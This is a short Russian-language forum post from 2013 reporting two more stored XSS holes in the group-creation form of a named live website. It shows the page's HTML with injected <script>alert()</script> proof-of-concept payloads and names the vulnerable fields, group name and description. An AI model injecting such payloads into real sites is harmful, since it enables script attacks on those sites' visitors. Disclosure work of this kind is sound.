Показать сообщение отдельно
Старый 15.04.2013, 20:27   #3
BigBear
 
Регистрация: 26.07.2012
Сообщений: 134
Репутация: 51
По умолчанию

+ ещё 2 активные XSS

http://www.zaimiudruga.ru/groups/create

Код:
<div style="float:right; width: 83%;" id="content_info_info">

    <div style="float:left; width:100%;">
	<div style="text-alig:left; background:none repeat scroll 0% 0% rgb(239, 239, 239); padding:2px; font-weight:bold; font-size:12px; margin-bottom:5px;" class="div_header">
	    <div style="float:left"><i></i></div>
&nbsp;<script>alert(789)</script>
	    <div style="float:right"><a href!="/groups/users/[group_id]">Пользователи</a> - 0</div>
	</div>
<script>alert(4455)</script>
    </div>
</div>
Уязвимые поля:

Название группы, Описание группы
BigBear вне форума   Ответить с цитированием